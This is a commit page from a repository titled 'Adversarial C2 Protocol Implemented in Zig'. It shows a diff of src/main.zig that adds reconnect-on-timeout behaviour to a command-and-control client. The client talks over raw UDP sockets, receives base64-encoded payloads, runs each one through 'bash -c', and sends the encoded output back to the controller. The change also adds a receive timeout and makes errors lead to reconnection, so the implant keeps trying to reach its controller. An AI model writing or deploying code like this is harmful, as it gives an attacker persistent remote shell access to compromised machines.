Adversarial C2 Protocol Implemented in Zig
0
fork

Configure Feed

Select the types of activity you want to include in your feed.

Reconnect on timeout

+82 -72
+82 -72
src/main.zig
··· 195 195 } 196 196 197 197 if (flags.connect != null) { 198 - const dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)); 199 - const src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)); 200 - // udp dest port should not be 8888 after first 201 - const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16)); 202 - var connection: SaprusMessage = .{ 203 - .connection = .{ 204 - .src = src, 205 - .dest = dest, 206 - .seq = undefined, 207 - .id = undefined, 208 - .payload = flags.connect.?, 209 - }, 210 - }; 198 + reconnect: while (true) { 199 + headers.udp.dst_port = 8888; 200 + const dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)); 201 + const src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)); 202 + // udp dest port should not be 8888 after first 203 + const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16)); 204 + var connection: SaprusMessage = .{ 205 + .connection = .{ 206 + .src = src, 207 + .dest = dest, 208 + .seq = undefined, 209 + .id = undefined, 210 + .payload = flags.connect.?, 211 + }, 212 + }; 211 213 212 - try socket.attachSaprusPortFilter(src); 214 + try socket.attachSaprusPortFilter(src); 213 215 214 - var connection_buf: [2048]u8 = undefined; 215 - var connection_bytes = connection.toBytes(&connection_buf); 216 - headers.setPayloadLen(connection_bytes.len); 216 + var connection_buf: [2048]u8 = undefined; 217 + var connection_bytes = connection.toBytes(&connection_buf); 218 + headers.setPayloadLen(connection_bytes.len); 217 219 218 - var full_msg = blk: { 219 - var msg_buf: [2048]u8 = undefined; 220 - var msg_w: Writer = .fixed(&msg_buf); 221 - msg_w.writeAll(&headers.toBytes()) catch unreachable; 222 - msg_w.writeAll(connection_bytes) catch unreachable; 223 - break :blk msg_w.buffered(); 224 - }; 225 - 226 - try socket.send(full_msg); 227 - var res_buf: [4096]u8 = undefined; 228 - 229 - var res = try socket.receive(&res_buf); 230 - 231 - headers.udp.dst_port = udp_dest_port; 232 - 233 - full_msg = blk: { 234 - var msg_buf: [2048]u8 = undefined; 235 - var msg_w: Writer = .fixed(&msg_buf); 236 - msg_w.writeAll(&headers.toBytes()) catch unreachable; 237 - msg_w.writeAll(connection_bytes) catch unreachable; 238 - break :blk msg_w.buffered(); 239 - }; 240 - try socket.send(full_msg); 241 - 242 - while (true) { 243 - res = try socket.receive(&res_buf); 244 - const connection_res = blk: { 245 - const msg: SaprusMessage = try .parse(res[42..]); 246 - break :blk msg.connection; 220 + var full_msg = blk: { 221 + var msg_buf: [2048]u8 = undefined; 222 + var msg_w: Writer = .fixed(&msg_buf); 223 + msg_w.writeAll(&headers.toBytes()) catch unreachable; 224 + msg_w.writeAll(connection_bytes) catch unreachable; 225 + break :blk msg_w.buffered(); 247 226 }; 248 - const b64d = std.base64.standard.Decoder; 249 - var connection_payload_buf: [4096]u8 = undefined; 250 - const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(connection_res.payload)]; 251 - try b64d.decode(connection_payload, connection_res.payload); 252 227 253 - const child = try std.process.spawn(init.io, .{ 254 - .argv = &.{ "bash", "-c", connection_payload }, 255 - .stdout = .pipe, 256 - .stderr = .pipe, 257 - }); 228 + socket.send(full_msg) catch continue; 229 + var res_buf: [4096]u8 = undefined; 258 230 259 - var child_stdout: std.ArrayList(u8) = .empty; 260 - defer child_stdout.deinit(init.gpa); 261 - var child_stderr: std.ArrayList(u8) = .empty; 262 - defer child_stderr.deinit(init.gpa); 231 + var res = socket.receive(&res_buf) catch continue; 263 232 264 - try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 4096); 265 - 266 - const b64e = std.base64.standard.Encoder; 267 - var cmd_output_buf: [4096]u8 = undefined; 268 - const cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items); 269 - 270 - connection.connection.payload = cmd_output; 271 - connection_bytes = connection.toBytes(&connection_buf); 272 - headers.setPayloadLen(connection_bytes.len); 233 + headers.udp.dst_port = udp_dest_port; 273 234 274 235 full_msg = blk: { 275 236 var msg_buf: [2048]u8 = undefined; ··· 278 239 msg_w.writeAll(connection_bytes) catch unreachable; 279 240 break :blk msg_w.buffered(); 280 241 }; 242 + socket.send(full_msg) catch continue; 281 243 282 - try socket.send(full_msg); 283 - } 244 + while (true) { 245 + res = socket.receive(&res_buf) catch continue :reconnect; 246 + const connection_res = blk: { 247 + const msg: SaprusMessage = try .parse(res[42..]); 248 + break :blk msg.connection; 249 + }; 250 + const b64d = std.base64.standard.Decoder; 251 + var connection_payload_buf: [4096]u8 = undefined; 252 + const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(connection_res.payload)]; 253 + try b64d.decode(connection_payload, connection_res.payload); 284 254 285 - return; 255 + const child = std.process.spawn(init.io, .{ 256 + .argv = &.{ "bash", "-c", connection_payload }, 257 + .stdout = .pipe, 258 + .stderr = .pipe, 259 + }) catch continue; 260 + 261 + var child_stdout: std.ArrayList(u8) = .empty; 262 + defer child_stdout.deinit(init.gpa); 263 + var child_stderr: std.ArrayList(u8) = .empty; 264 + defer child_stderr.deinit(init.gpa); 265 + 266 + try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 4096); 267 + 268 + const b64e = std.base64.standard.Encoder; 269 + var cmd_output_buf: [4096]u8 = undefined; 270 + const cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items); 271 + 272 + connection.connection.payload = cmd_output; 273 + connection_bytes = connection.toBytes(&connection_buf); 274 + headers.setPayloadLen(connection_bytes.len); 275 + 276 + full_msg = blk: { 277 + var msg_buf: [2048]u8 = undefined; 278 + var msg_w: Writer = .fixed(&msg_buf); 279 + msg_w.writeAll(&headers.toBytes()) catch continue; 280 + msg_w.writeAll(connection_bytes) catch continue; 281 + break :blk msg_w.buffered(); 282 + }; 283 + 284 + try socket.send(full_msg); 285 + } 286 + 287 + return; 288 + } 286 289 } 287 290 288 291 unreachable; ··· 398 401 const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll))); 399 402 if (bind_ret != 0) return error.BindError; 400 403 404 + const timeout: std.os.linux.timeval = .{ .sec = 600, .usec = 0 }; 405 + const timeout_ret = std.os.linux.setsockopt(socket, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout))); 406 + if (timeout_ret != 0) return error.SetTimeoutError; 407 + 401 408 return .{ 402 409 .fd = socket, 403 410 .sockaddr_ll = sockaddr_ll, ··· 419 426 @ptrCast(&self.sockaddr_ll), 420 427 @sizeOf(@TypeOf(self.sockaddr_ll)), 421 428 ); 422 - std.debug.assert(sent_bytes == payload.len); 429 + _ = sent_bytes; 423 430 } 424 431 425 432 fn receive(self: RawSocket, buf: []u8) ![]u8 { ··· 431 438 null, 432 439 null, 433 440 ); 441 + if (std.os.linux.errno(len) != .SUCCESS) { 442 + return error.Timeout; // TODO: get the real error, assume timeout for now. 443 + } 434 444 return buf[0..len]; 435 445 } 436 446